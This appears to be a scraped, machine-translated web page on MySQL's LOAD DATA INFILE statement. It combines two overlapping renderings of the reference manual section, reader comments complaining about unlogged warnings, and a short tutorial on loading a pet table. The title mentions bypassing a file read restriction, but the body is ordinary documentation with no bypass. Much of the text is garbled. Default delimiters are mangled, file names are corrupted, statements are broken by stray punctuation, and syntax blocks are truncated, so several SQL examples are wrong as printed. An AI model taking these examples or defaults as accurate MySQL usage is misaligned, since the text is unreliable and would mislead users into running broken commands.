MySQL Reference Manual. Bypassing MySQL File Read Restriction PHP and MySQL Interaction

The LOAD DATA INFILE command reads lines from a text file and inserts them into a table at very high speed. If the LOCAL keyword is specified, then the file is read from the client host. If LOCAL is not specified, then the file must be on the server. (The LOCAL option is available in MySQL version 3.22.6 and later.)

If the text files to be read are located on the server, then for security reasons these files must either be located in the database directory or be readable by all users. In addition, to use the LOAD DATA INFILE command on server files, you must have FILE privileges on the server host. See section 4.2.7 Privileges Granted by MySQL .

In MySQL 3.23.49 and MySQL 4.0.2, the LOCAL command will not work if the mysqld daemon is started with --local-infile=0 or if the client does not have LOCAL support enabled. See section 4.2.4 Security Considerations Related to the LOAD DATA LOCAL Command.

If the LOW_PRIORITY keyword is specified, then execution of this LOAD DATA command will be delayed until other clients have finished reading this table.

If the CONCURRENT keyword is specified when working with MyISAM tables, then other threads can retrieve data from the table during the execution of the LOAD DATA command. Using this feature will, of course, have a slight performance impact on LOAD DATA , even if no other thread is using the table at the same time.

When using the LOCAL option, execution may be slightly slower than allowing the server to access the files directly, because the contents of the file must be moved from the client host to the server. On the other hand, in this case there is no need for FILE privileges to load local files.

If you are using versions of MySQL prior to 3.23.24, you cannot read from a FIFO using the LOAD DATA INFILE command. If it is necessary to read from a FIFO (for example, the standard output of gunzip), LOAD DATA LOCAL INFILE should be used.

You can also load data files using the mysqlimport utility. This utility performs file loading by sending LOAD DATA INFILE commands to the server. The --local option causes mysqlimport to read data files from the client host. You can specify the --compress option to get better performance over slow networks if both client and server support the data compression protocol.

In cases where the files are located on the server, the latter acts according to the following rules:

• If an absolute (full) path to a file is given, then the server uses this path without modification.
• If a relative path to the file is specified, specifying one or more home directories, then the search for the file will be relative to the specified directories in the server's data directory (datadir).
• If a path to a file is given without specifying home directories, then the server looks for the file in the directory of the database being used.

It follows that the file specified as `./myfile.txt" is read from the server's data directory, while the file specified as `myfile.txt" is read from the database directory being used. For example, the following LOAD DATA command reads the data.txt file in the database directory for db1 because db1 is the current database, even though the command explicitly instructs it to load the file into the db2 database table:

MySQL> USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

The REPLACE and IGNORE keywords control the processing of input records that duplicate existing records with the same unique key values. If REPLACE is specified, new rows will replace existing rows with the same unique key. If you specify IGNORE , then input rows that have the same unique key as existing ones will be ignored. If neither parameter is specified, then an error occurs when a duplicate key value is found and the rest of the text file is ignored.

If data is being loaded from a local file using the LOCAL keyword, then the server will not be able to abort the data transfer in the middle of this operation, so the default behavior of the command is the same as when IGNORE is specified.

When using LOAD DATA INFILE on empty MyISAM tables, all non-unique indexes are created in a separate package (as in REPAIR). This usually greatly speeds up the LOAD DATA INFILE operation in the case of a large number of indexes.

The LOAD DATA INFILE command is complementary to SELECT ... INTO OUTFILE . See section 6.4.1 Syntax of the SELECT statement. To write data from the database to a file, use SELECT ... INTO OUTFILE . To read data back into the database, LOAD DATA INFILE is used. The syntax for FIELDS and LINES is the same in both commands. Both parts are optional, but if both are specified, then FIELDS must precede LINES .

If FIELDS is specified, then each of its subexpressions (TERMINATED BY , ENCLOSED BY , and ESCAPED BY ) is also optional, but at least one of them must be specified.

If the FIELDS assertion is not defined, then by default its parameters will take the following values:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

If the LINES clause is not defined, then by default it has the following structure:

LINES TERMINATED BY "\n"

In other words, with the default settings, the LOAD DATA INFILE command, when reading input data, will work as follows:

• Search for line endings as `\n' characters
• Split lines into fields by tab characters.
• Don't expect fields to be enclosed in quote characters.
• Interpret the occurrence of tabs, newlines, or `\" preceded by `\" as literals that are part of the field's value.

Conversely, if the default settings for writing output are in effect, the SELECT ... INTO OUTFILE command will work as follows:

• Insert tab characters between fields.
• Do not enclose fields in quoting characters. Use `\" characters to escape tab, newline, or `\" instances that appear among field values.
• Insert newline characters at the end of each entry.

Note that the FIELDS ESCAPED BY `\" entry requires two backslashes for a value to be read as a single backslash.

The IGNORE number LINES option can be used to ignore the header of column names at the beginning of a file:

Mysql> LOAD DATA INFILE "/tmp/file_name" INTO TABLE test IGNORE 1 LINES;

When using SELECT ... INTO OUTFILE with LOAD DATA INFILE to read data from the database to a file and then back from the file to the database, the field and row processing options for both commands must match. Otherwise, LOAD DATA INFILE will not be able to interpret the contents of this file correctly. Suppose the SELECT ... INTO OUTFILE command is used to write to a file with fields separated by commas:

Mysql> SELECT * INTO OUTFILE "data.txt" FIELDS TERMINATED BY "," FROM ...;

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY ",";

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 FIELDS TERMINATED BY "\t";

A similar result would be obtained if each input line were interpreted as a separate field.

The LOAD DATA INFILE command can also be used to read files from external sources. For example, fields in a dBASE database format file will be separated by commas and enclosed in double quotes. If the lines in this file end with newlines, then the following command can be used to write the file, which illustrates setting options that process fields and lines:

Mysql> LOAD DATA INFILE "data.txt" INTO TABLE tbl_name FIELDS TERMINATED BY "," ENCLOSED BY """ LINES TERMINATED BY "\n";

Any of the options that handle fields and lines can be an empty string (""). If the string is not empty, then the values ​​of the FIELDS ENCLOSED BY and FIELDS ESCAPED BY options must contain one character. FIELDS TERMINATED BY and LINES TERMINATED BY option values ​​can contain more than one character. For example, to write lines ending in ``carriage return - line feed'' pairs (as in MS DOS or Windows text files), you would specify the following expression: LINES TERMINATED BY "\r\n" .

CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke TEXT NOT NULL); LOAD DATA INFILE "/tmp/jokes.txt" INTO TABLE jokes FIELDS TERMINATED BY ""; LINES TERMINATED BY "\n%%\n" (joke);

The FIELDS ENCLOSED BY option controls fields that are enclosed in given characters. If the OPTIONALLY parameter is omitted, then in the output (SELECT ... INTO OUTFILE) all fields will be enclosed in the characters specified in ENCLOSED BY . An example of such output (which uses a comma as the field separator) is shown below:

"1","a string","100.20" "2","a string containing a , comma","102.20" "3","a string containing a \" quote","102.20" "4"," a string containing a \", quote and comma","102.20"

If the OPTIONALLY parameter is specified, then only fields of the CHAR and VARCHAR types are selected with the character specified in ENCLOSED BY:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a \" quote",102.20 4,"a string containing a \", quote and comma",102.20

Please note that the appearance of ENCLOSED BY characters inside the field value is escaped by applying a prefix from ESCAPED BY before them. Also note that if ESCAPED BY is null, it is possible to generate output that the LOAD DATA INFILE statement cannot read correctly. For example, if the escape character is an empty string, then the output above will be as shown below. Note that the second field on the fourth line contains a comma followed by a quotation mark, which (erroneously) appears to delimit the given field:

1,"a string",100.20 2,"a string containing a , comma",102.20 3,"a string containing a " quote",102.20 4,"a string containing a ", quote and comma",102.20

For input, the ENCLOSED BY character, if present, is removed from both ends of the field values. (This is true whether or not the OPTIONALLY parameter is specified: the OPTIONALLY parameter is ignored when working with the input.) If an ENCLOSED BY character is encountered that is preceded by an ESCAPED BY character, it is interpreted as part of the field's current value. In addition, double ENCLOSED BY characters occurring within a field are interpreted as single ENCLOSED BY characters if the field itself begins with that character. For example, if ENCLOSED BY """ is specified, then quotes are handled as follows:

"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss

The FIELDS ESCAPED BY option controls the writing or reading of special characters. If the FIELDS ESCAPED BY character is non-empty, it is used as a prefix for the following characters in the output:

• FIELDS ESCAPED BY symbol
• FIELDS ENCLOSED BY symbol
• First character of FIELDS TERMINATED BY and LINES TERMINATED BY
• ASCII character 0 (actually, ASCII `0" is written after the escape character, not a zero-value byte)

If the FIELDS ESCAPED BY character is empty, then no characters are escaped. In fact, there is no point in specifying an empty escape character, especially if the field values ​​in the data being processed contain any of the characters in the above list.

If the FIELDS ESCAPED BY character is non-empty, then, in the case of input, occurrences of such a character are removed and the character following such an occurrence is taken literally as part of the field's value. Exceptions are escaped `0" or `N" (e.g. \0 or \N if the escape character is `\"). These sequences are interpreted as ASCII 0 (a byte with a value of zero) and NULL . See the rules for handling a null value below. .

See section 6.1.1 Literals: Representing Strings and Numbers for more information on the syntax of the `\" escape character.

In some cases, field and row processing options interact:

• If LINES TERMINATED BY is an empty string and FIELDS TERMINATED BY is a non-empty string, then the lines also end with FIELDS TERMINATED BY .
• If both FIELDS TERMINATED BY and FIELDS ENCLOSED BY are empty (""), then the fixed string format (no delimiters) is used. The fixed string format does not provide any separators between fields. Instead, when reading and writing column values, the ``output"" width of the columns is used. For example, if a column is declared as INT(7) , the values ​​for that column are written using fields that are 7 characters wide. The input values ​​for this column are obtained by reading 7 characters. The fixed string format also affects the handling of NULL values ​​(see below). Note that the fixed size format will not work when using a multibyte character set.

NULL values ​​will be handled differently depending on the FIELDS and LINES options used:

• For the default FIELDS and LINES values, NULL is written as \N on output and \N is read as NULL on input (assuming the ESCAPED BY character is `\").
• If FIELDS ENCLOSED BY is non-empty, then a field whose value is a word of NULL letters is read as a NULL value (as opposed to a NULL word between FIELDS ENCLOSED BY characters, which is read as the string " NULL ").
• If FIELDS ESCAPED BY is empty, NULL is written as the NULL word.
• In fixed string format (which occurs if both FIELDS TERMINATED BY and FIELDS ENCLOSED BY specifiers are empty), NULL is written as the empty string. Note that, as a result, the NULL value and the empty string in this table will be indistinguishable when written to the file, since they are both written as empty strings. If you want these values ​​to be different when the file is read back, then you should not use the fixed string format.

Some cases not supported by the LOAD DATA INFILE statement:

• Fixed-size rows (FIELDS TERMINATED BY and FIELDS ENCLOSED BY are both empty) and BLOB or TEXT columns.
• If a delimiter is specified that matches or is a prefix of another, then LOAD DATA INFILE will not be able to interpret the input correctly. For example, the following FIELDS statement will cause problems: FIELDS TERMINATED BY """ ENCLOSED BY """
• If the FIELDS ESCAPED BY option is empty, then the occurrence of a FIELDS ENCLOSED BY or LINES TERMINATED BY character in a field value followed by a FIELDS TERMINATED BY character will cause the LOAD DATA INFILE command to end reading the field or line prematurely. This is because LOAD DATA INFILE cannot correctly determine where a field or line ends.

The following example loads all columns of the persondata table:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;

The list of fields is not specified, so the LOAD DATA INFILE command expects input rows to populate each column of the table. This uses the default FIELDS and LINES values.

If you want to load only some of the columns of the table, you must specify a list of columns:

Mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata (col1,col2,...);

The list of fields must also be specified in cases where the order of the fields in the input file differs from the order of the columns in the given table. Otherwise, MySQL will not be able to map the input fields to the table columns.

If a row has too few fields, then the columns for which there are no fields in the input file are set to their default values. The assignment of default values ​​is described in section 6.5.3 Syntax of the CREATE TABLE statement.

The value of an empty field is interpreted differently than the absence of a value:

• For string types, the column is set to the empty string.
• For numeric types, the column is set to 0 .
• For date and time types, the column is set to the appropriate value ``zero"' for that type. See section 6.2.2 Date and Time Data Types.

Note that these are the same values ​​that would end up in a column by explicitly assigning an empty string to columns of string, numeric, or date or time types in an INSERT or UPDATE statement.

TIMESTAMP columns are only set to the current date or time if the column is set to NULL or (for the first TIMESTAMP column only) if the TIMESTAMP column is outside the field list, if such a list is specified.

If the input string has too many fields, then the extra fields are ignored and the number of warnings will increase.

The LOAD DATA INFILE command interprets all input data as strings, so you cannot specify numeric values ​​for ENUM or SET columns in the same way as for INSERT commands. All ENUM and SET values ​​must be specified as strings!

When using the C API, you can get information about a query by calling the mysql_info() API function at the end of a LOAD DATA INFILE query. The following shows the format of the information line for this case:

Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Warnings are issued under the same circumstances as when writing values ​​with an INSERT command (see section 6.4.3 INSERT Statement Syntax), except that the LOAD DATA INFILE command additionally generates warnings when there are too few or too many fields in the input string. Warnings are not stored anywhere; the number of warnings can only be used to check if the specified actions were completed normally. If you want to know exactly what causes warnings, then you should SELECT ... INTO OUTFILE to another file and compare the result with the original input file - this is the only way to get this information.

If you need to LOAD DATA to read from a pipe, you can use the following trick:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x

When using a version of MySQL older than 3.23.25, the above can only be done with LOAD DATA LOCAL INFILE .

For more information on the efficiency of INSERT versus LOAD DATA INFILE and the speed gain of LOAD DATA INFILE , see section 5.2.9 Speed ​​of INSERT Query Execution.

User Comments

"The warnings are not stored anywhere; the number of warnings can only be used as an
indication if everything went well"

You have got to be kidding me. Is this done as some sort of DBA punishment? i.e. - We
KNOW what the problems were, but you"ll just have to build a output file and look through
your millions of records to find them". Didn"t MySQL used to put these in the errorlog,
where they belong? Go ahead and make it an option, but this is enough trouble to make
me switch back to Oracle (and that takes alot).

Second that. (!) I don't understand how you
write that sentence with a straight face.

Also, no information about which rows are skipped
is given.

This feature is very usefull when submitting an
INSERT from a web page. If the user hits
refresh, and repost form data that results in a
subsequent INSERT of the same primary key data,
boom, the app breaks. This way, the user could
hit F5 till their face turns blue, and they
won't break the REPLACE statement.

I have a MyDB folder in c:\mysql\data
I place there Data.txt and when I execute
LOAD DATA LOCAL INFILE "Data.txt" INTO TABLE
MyTable it says: Command has successfully executed
but NO values ​​are added to MyTable.
I am under W2K

I want to syncronize my database with another
database from time to times. This means that I
will have to use the REPLACE thing. But what about
records that don't excist anylonger in the newer
database. Will they be deleted in the MySQL one ?
Is there a way to auto-delete these ? Or is the
only solution to drop my MySQL table and recreate
before I start LOAD"ing it. I am using crontab
scripts for this operation so no human interaction
is possible during these operations.

The documentation is unclear about what
constitutes a "unique" key/index in this area. It
backreferences to "insert", but insert doesn't
have such a constraint. I "ve found that primary
keys are sufficiently unique, but I "ve had to add
primaries where I didn't want them. Perhaps I'm
something missing....

It is very frustrating to get warnings when one is
importing data into a MySQL database
able to access any information about the warnings.
MySQL really needs to add a feature that will
report what a warning is ABOUT rather than just
report a warning. Ideally the information about
the warning should be provided immediately. At
the very least some sort of error-log should be
created that a user can access.

On the "F5 till their face turns blue" subject...

This should be handled in the application. It
certainly doesn't hurt to tell the user, "You"ve
already entered this. Please stop refreshing."

Actually, due to the number of hyperimpatient end
losers out there, this seems like a particularly
good idea.

It would be very helpful to have an addtional option
to "IGNORE CONSTRAINTS" during the loading
process.

There is a catch with "on an empty MyISAM table, all
non-unique indexes are created in a separate batch"
since the mechanism used is a "repair with
keycache" which can be very slow if you have many
indexes. One really needs to use the mechanism to
stop keys being created and then do the repair with
myisamchk using "repair with sort" as described in
section 5.2.9 (if you can get it to work:-()

Syntax LOAD DATA INFILE

LOAD DATA INFILE" file name. txt" INTO TABLE table_name
[ENCLOSED BY"]
]
]
[(column_name,...)]
The LOAD DATA INFILE statement reads lines from a text file and loads them into a table at very high speed.
You can also load data files using the mysql import utility. It works by sending a LOAD data INFILE statement to the server. The --local option causes the mysqlimport utility to read the data file from the client host. You can specify the -compress option to improve performance on slow networks if the client and server support the compressed protocol.
If the LOW_PRIORITY keyword is specified, execution of the LOAD DATA statement is delayed until all other clients have finished reading.
If the CONCURRENT keyword is specified with a MyISAM table that satisfies the parallel inserts condition (that is, it has no free blocks in the middle of the file), then other threads will be able to retrieve data from the table at the same time that LOAD DATA is executed. Using this option has a slight performance impact on LOAD DATA, even if no other thread is working with this table.
If the LOCAL keyword is specified, it refers to the client side of the connection.

1. If the word LOCAL is specified, the file is read by the client program on the client's host and sent to the server.
2. If the LOCAL word is not specified, the uploaded file must reside on the server's host, and is read directly by the server.

LOCAL is available in MySQL 3.22.6 and later.
For security reasons, when reading text files located on the server, the files must either be in the data directory or be readable by everyone. Also, to use LOAD DATA with server files, you must have the FILE privilege.
Downloading with the LOCAL option is somewhat slower than when you give the server the ability to directly access the downloaded files, because in this case the contents of the files are transferred over the network through the client-ser server on the right connection. On the other hand, you don't need FILE privileges in this case.
Starting with MySQL 3.23.49 and MySQL 4.0.2 (4.0.13 on Windows), LOCAL only works if both client and server allow it. For example, if mysqld is started with the -local-inf ile=0 option, then LOCAL will not work.

If you need to use LOAD DATA to read from a program pipe, you can use the following technique:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
cat< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 INTO TABLE x" x
If you are running a version of MySQL prior to 3.23.25, this technique can only be used with LOAD DATA LOCAL INFILE.
If you have a version of MySQL earlier than 3.23.24, you will not be able to read using the LOAD DATA INFILE statement from a FIFO. If you need to read from a FIFO (eg gunzip output), use LOAD DATA LOCAL INFILE instead.
When searching for a file in its file system, the server is guided by the following rules:

1. If an absolute path is specified, the server uses it as is.
2. If a relative path with one or more leading components is given, the server looks for files relative to its data directory.
3. If a filename without leading path components is given, the server looks for the file in the default database data directory.

Note that these rules imply that a file named ./myfile.txt is read from the server's data directory, while a file named myfile,txt is read from the database's default data directory. For example, the following LOAD DATA INFILE statement reads the data.txt file from the dbl database's data directory because dbl is the current database, even though the statement is loading data into the db2 database:
mysql> USE dbl;
mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;
The REPLACE and IGNORE keywords control the handling of input strings that duplicate existing unique keys by value.
If REPLACE is specified, the input rows replace existing rows (in other words, rows that have the same primary or unique key values ​​as existing rows in the table). See REPLACE Syntax
If IGNORE is specified, then input rows that duplicate existing rows with the same primary or unique key values ​​are ignored. If neither option is specified, then the behavior depends on whether the local keyword is specified. In the absence of LOCAL, an error is generated if a duplicate key is found, and the remainder of the text file is ignored. If LOCAL is present, the default behavior is the same as if IGNORE were specified. This is because the server is unable to stop the file transfer while this operation is in progress.
If you want to ignore foreign key constraints during a data load operation, you can issue a SET FOREIGN_KEY_CHECKS=0 statement before running LOAD DATA.
If you run LOAD DATA on an empty MyISAM table, all non-unique indexes are created in a separate job (as for REPAIR TABLE). This usually results in LOAD DATA being much faster when there are many indexes. This is generally very fast, but in some special cases you can create indexes even faster by turning them off with ALTER TABLE.. .DISABLE KEYS before loading

file to the table, recreating the indexes and enabling them with ALTER TABLE.. .ENABLE KEYS after the load is complete.
LOAD DATA INFILE is an addition to SELECT.. .INTO OUTFILE. See SELECT Syntax To write data from a table to a file, use SELECT... INTO OUTFILE. To read data back from a file into a table, use LOAD DATA INFILE. The syntax of the FIELDS and LINES constructs is the same for both statements. Both of these constructs are optional, but fields must precede LINES if both are specified.
If the FIELDS construct is specified, then all of its parameters (TERMINATED BY, ENCLOSED BY, and ESCAPED BY) are also optional, except for the requirement that at least one parameter must be present.
If the FIELDS construct is not specified, it defaults to:
FIELDS TERMINATED BY "tf ENCLOSED BY "ESCAPED BY"
If LINES is not specified, the default is:
LINES TERMINATED BY "n! STARTING BY"
In other words, the default behavior of LOAD DATA INFILE when reading input is:

1. Look for line separators at the beginning of lines.
2. Don't skip any string prefixes.
3. Split a line into fields by tab characters.
4. Don't expect fields to be quoted.
5. Interpret the occurrence of a tab, newline, or "\" preceded by a \ as literal characters that are part of the field's value.

Conversely, SELECT ... INTO OUTFILE behaves like this by default:

1. Writes tabs between fields.
2. Does not surround field values ​​with quotation marks.

• Uses *" to highlight tabs, newlines, or "\" occurring within field values.
• Writes a newline character at the end of lines.

IGNORE option quantity LINES is used to ignore a given number of lines at the beginning of a file. For example, you can use IGNORE I LINES to skip the leading line containing the column names:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNORE 1 LINES;
When you use SELECT... INTO OUTFILE in conjunction with LOAD DATA INFILE to write data from the database to a file and then read it and load it back into the database, the row and field control options for both statements must match. Otherwise, LOAD DATA INFILE will not be able to correctly interpret the contents of the text file. Let's assume that you output data to a text file using SELECT.. .INTO OUTFILE, separating the fields with commas:
mysql> SELECT* INTO OUTFILE "data.txt" -> FIELDS TERMINATED BY"," -> FROM table2;
To read a comma-separated file back, the right thing to do is:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> FIELDS TERMINATED BY
If instead you try to read it with the statement below, it won't work because LOAD DATA INFILE will look for tabs between field values:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 -> FIELDS TERMINATED BY "t";
The most likely outcome would be to interpret the input string as a single field.
LOAD DATA INFILE can also be used to read files from external sources. For example, a file might have fields separated by commas and enclosed in double quotes. If lines in a file are separated by a newline character, the following example illustrates what line and column separator options must be set to load a file:
mysql> LOAD DATA INFILE "data.txt" INTO TABLEtable_name-> FIELDS TERMINATED BY 1,1 ENCLOSED BY "" -> LINES TERMINATED BY"n";
Any options that specify row and column delimiters can be given empty strings ("") as arguments. If the arguments are not empty strings, then the values ​​FOR FIELDS ENCLOSED BY AND FIELDS ESCAPED BY MUST be SINGLE-CHARACTER OPTIONS. FIELDS TERMINATED OPTIONS Arguments BY, LINES STARTING BY, and LINES TERMINATED BY can be more than one character long.For example, to write lines separated by carriage returns/line feeds, or to read files containing such lines, use LINES TERMINATED BY "rn".
To read a file separated by lines with %% characters, you can do the following:
mysql> CREATE TABLE jokes
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joke TEXT NOT NULL);

mysql> LOAD DATA INFILE "/tmp/jokes,txf INTO TABLE jokes -> FIELDS TERMINATED BY "" -> LINES TERMINATED BY "\n%%\n" (joke);
FIELDS ENCLOSED BY controls field delimiters (quotation marks). In the output (SELECT ... INTO OUTFILE), if you omit the word OPTIONALLY, all fields will be surrounded by the character specified in ENCLOSED BY. An example of such output (using a comma as the field separator) is shown below:
"1","a string","100.20"
"2","a string containing a , comma","102.20"
"3","a string containing a \" quote","102.20"
"4","a string containing a \", quote and comma","102.20"
If you specify OPTIONALLY, then the ENCLOSED BY character only applies to quoting CHAR and VARCHAR fields:
1,"a string",100.20
3,"a string containing a \"quote",102.20
4,"a string containing a \", quote and comma",102.20
Note that occurrences of the character specified in ENCLOSED BY within the field value are preceded by the character specified in ESCAPED BY. Also, if you specify an empty value for ESCAPED BY, it is possible that a file will be generated that LOAD DATA INFILE fails to load correctly.
For example, if the cancel character is left blank, the above output will look like the one below. It's easy to see that the second field on the fourth line contains a comma followed by a quotation mark, which would (mistakenly) look like a field separator.
1,"a string",100.20
2,"a string containing a , comma",102.20
3,"a string containing a "quote",102.20
4,"a string containing a ", quote and comma",102.20
On entry, the ENCLOSED BY character, if present, is removed from the end of the field value. (This is true whether or not the word OPTIONALLY is specified. This word has no effect on the interpretation of the input.) The occurrence of ENCLOSED BY characters preceded by an ESCAPED BY character is interpreted as part of the field's current value.
If a field begins with an ENCLOSED BY character, instances of that character are interpreted as terminating the field's value only if they are followed by a TERMINATED BY field or sequence. To avoid ambiguity when an ENCLOSED BY character appears within a field value, that character may be duplicated, and will be interpreted as a single instance of the character. For example, if ENCLOSED BY "" is specified, quotes are handled as follows:
"The ""BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss
FIELDS ESCAPED BY controls the reading or writing of special characters. If the FIELDS ESCAPED BY argument is not empty, it is used as a prefix for the following characters in the output:

1. The FIELDS ESCAPED BY character.
2. The FIELDS ENCLOSED BY character.
3. The first character of the FIELDS TERMINATED BY AND LINES TERMINATED BY sequences.
4. ASCII 0 (which is written following the cancel character as an ASCII "0", not a null byte).

If the FIELDS ESCAPED BY character is empty, no characters are preceded by escape characters, and NULL is output as NULL, not \N. It's probably not a good idea to leave the FIELDS ESCAPED BY argument blank, especially if your data field values ​​contain any of the characters mentioned.
On input, if FIELDS ESCAPED BY is not empty, then when that character appears in the value string, it is removed, and the character following it is read literally as part of the field value. The exceptions are "0" or "N" (SYS-PAGE-CONTENT or \N if "\" is the escape character). These sequences are interpreted as ASCII NUL (zero byte) and NULL, respectively. The rules for dealing with NULL are described later in this section.
More information on the "\" cancellation syntax can be found in the section Literal Values
In some cases, options that control fields and rows interact with each other:

1. If an empty string is specified for LINES TERMINATED BY and FIELDS TERMINATED BY is non-empty, then LINES TERMINATED BY also serves as the line separator.
2. IF FIELDS TERMINATED BY AND FIELDS ENCLOSED BY are both empty, the fixed string format (no delimiters) is used. This format does not use any separators between fields (but you can have a line separator). Instead, column values ​​are written and read using the column display width. For example, if a column is declared as INT(7), the column's values ​​are written to a seven-character field. As you type, the column values ​​are retrieved by reading seven characters.

LINES TERMINATED BY is still used to separate lines. If a row does not contain all the fields, the rest of the columns are set to their default values. If you don't have a line terminator, its value should be set to 1". In this case, the text file must contain all the fields on each line. The fixed line length format also deals with NULL values, as described below. Note that the fixed line format length does not work if a multi-byte character set is used (for example, Unicode).
The handling of NULL values ​​varies depending on the FIELDS and LINES options used:

1. With default FIELDS and LINES values, NULL is written as a field value as \N on output, and the same \N value is read as NULL on input (assuming the ESCAPED BY character is set to "\")-
2. If FIELDS ENCLOSED BY is not empty, then the field containing the literal word NULL is read as a NULL value. This is different from the case where the word NULL is limited to FIELDS ENCLOSED BY characters, where the value is read as the string "NULL".
3. If FIELDS ESCAPED BY is empty, NULL is written as the word NULL.

• With a fixed string format (which happens when both FIELDS TERMINATED BY and FIELDS ENCLOSED BY are empty), NULL is written as an empty string. Note that this causes NULL values ​​and empty rows in the table to become indistinguishable when written to the file, since both write null rows. If you need to distinguish between the two, avoid using the fixed line length format.
  Below are some cases not supported by LOAD DATA INFILE:
  1. Fixed-LENGTH strings (FIELDS TERMINATED BY AND FIELDS ENCLOSED BY are nyc) when there are TEXT or BLOB type columns.
  2. If you specify a delimiter that matches the prefix of another, LOAD DATA INFILE cannot correctly interpret the input stream. For example, the following option will lead to problems:

  FIELDS TERMINATED BY ""ENCLOSED BY""
  

  • If FIELDS ESCAPED BY is empty, field values ​​that include the characters FIELDS ENCLOSED BY OR LINES TERMINATED BY followed by LINES TERMINATED BY will cause LOAD DATA INFILE to stop reading the file or line too soon. This will happen because LOAD DATA INFILE cannot correctly determine where the field or row value ends. The following example loads all columns of the persondata table: mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;
    By default, if no list of columns is provided at the end of the LOAD DATA INFILE statement, the input row is expected to contain fields for each column of the table. If you want to load only some of the table columns, specify a list of columns:
    mysql> LOAD DATA INFILE "persondata.txt1
    -> INTO TABLE persondata(coll,col2,...);
    You must also specify a list of columns if the order of the fields in the input file is different from the order of the columns in the table. Otherwise, MySQL will not be able to map the input fields to the table columns.
    If the input file has too few fields per row, then the missing columns will be assigned default values. Assigning default values ​​is described in the CREATE TABLE Syntax section.
    Empty field values ​​are interpreted differently than missing ones:
    1. For string types, an empty string is assigned to the column.
    2. For numeric types, the column is assigned 0.
    3. For date and time types - the column is set to the appropriate type
       "null" value. See Date and Time Types

    These are the same values ​​that result from explicitly assigning an empty string to columns of these types in an INSERT or UPDATE statement.
    TIMESTAMP column values ​​are set to the current date and time only if they are set to NULL (that is, \N), or if a column of that type is omitted from the field list, if the field list is given.

    LOAD DATA INFILE treats all input as a string, so you cannot use numeric values ​​for ENUM or SET columns, as is allowed in INSERT statements. All ENUM or SET values ​​must be specified as strings!
    When the LOAD DATA INFILE statement completes, it returns an information string in the following format:
    Records: I Deleted: 0 Skipped: 0 Warnings: O
    If you are working with the C API, you can get information about this statement by calling the mysql_info() function.
    The warnings that appear under certain conditions are the same as when inserting values ​​with the INSERT statement (see section 6.1.4), except that LOAD DATA INFILE also generates warnings that there is too little or too little in the input file. too many fields. Warnings are not stored anywhere, the number of warnings can only be used as an indication that everything went well.
    Starting with MySQL 4.1.1, you can use SHOW WARNINGS to list the first max_error_count warnings as information about What loading went wrong. See SHOW WARNINGS Syntax
    Prior to MySQL 4.1.1, only the number of warnings was an indication that a load was not running smoothly. If you get a warning and want to know exactly why it happened, the only way to do it is to use SELECT.. .INTO OUTFILE to dump the table dump into another file and compare it with the original input file.

After creating a table, you must populate it with data. Instructions and INSERT useful for this. How they work, we'll talk a little later, but for now let's think about the data that needs to be entered into the table. How exactly do they look?

Let's assume that your animal records can be described as shown below. Note that MySQL expects dates in year-month-day format, this may be different from what you are used to. The year is best entered as 4 digits. MySQL has a rather complex algorithm to handle two-digit year values ​​correctly, but you don't need to understand that yet, so let's enter the data unambiguously. All animal data for our example is shown in Table 2.2:

Table 2.2. Animal Data

Since you're starting with an empty table, the easiest way to populate it is to create a text file containing a line for each of your animals, and then load the contents of the file into the table with just one instruction.

You could create a pet.txt text file containing one entry per line, with values ​​separated by tab stops in the order in which the columns were listed in the CREATE TABLE statement. For missing values ​​(such as unknown sex or death dates for animals that are still living), you can use NULL values. To present them in a text file, use a label. For example, an entry about a Whistler bird looks something like this (I marked a tab with a space):

Whistler Gwen birdie 1997-12-09

To load data from a pet.txt text file located on the local computer (client) and not on the server into the pet table, use the LOAD DATA command:

Mysql> LOAD DATA LOCAL INFILE "pet.txt" INTO TABLE pet;

The keywords have the following meaning. INFILE specifies a string that is the name of the file to read data from. Because the name is a string, it is enclosed in quotes, otherwise MySQL will try to evaluate it as a numeric expression. LOCAL specifies that the file should be looked up on the client system, not the server. INTO TABLE instructs to load data into the table whose name is specified immediately after the word TABLE (separated by a space).

You can specify the column value separator and end-of-line marker explicitly in the statement if you wish, but the default values ​​are just tabs and newlines. They are enough to correctly read the pet.txt file, and you don't need more now.

When you want to add new records one by one, the instruction is useful INSERT. In its simplest form, you provide the values ​​for each column in the order in which the columns were listed in the CREATE TABLE statement. Suppose that Diane received a new Puffball hamster as a gift. You can add a new entry using the INSERT statement, something like this:

MySQL> INSERT INTO pet
-> VALUES ("Puffball","Diane","hamster","f","1999-03-30","NULL");

The keywords here are also not particularly difficult. INTO pet determines which table to insert into. VALUES specifies a list of values ​​to insert for a new entry in the table. Values ​​are listed separated by commas and all together are taken in brackets.

Note that strings and the date value are defined as strings. You can insert NULL directly (not as a string) to represent the absence of a value.

You can see from this example that it would take quite a lot of typing to load directly into a table. The instructions saved a lot of time.

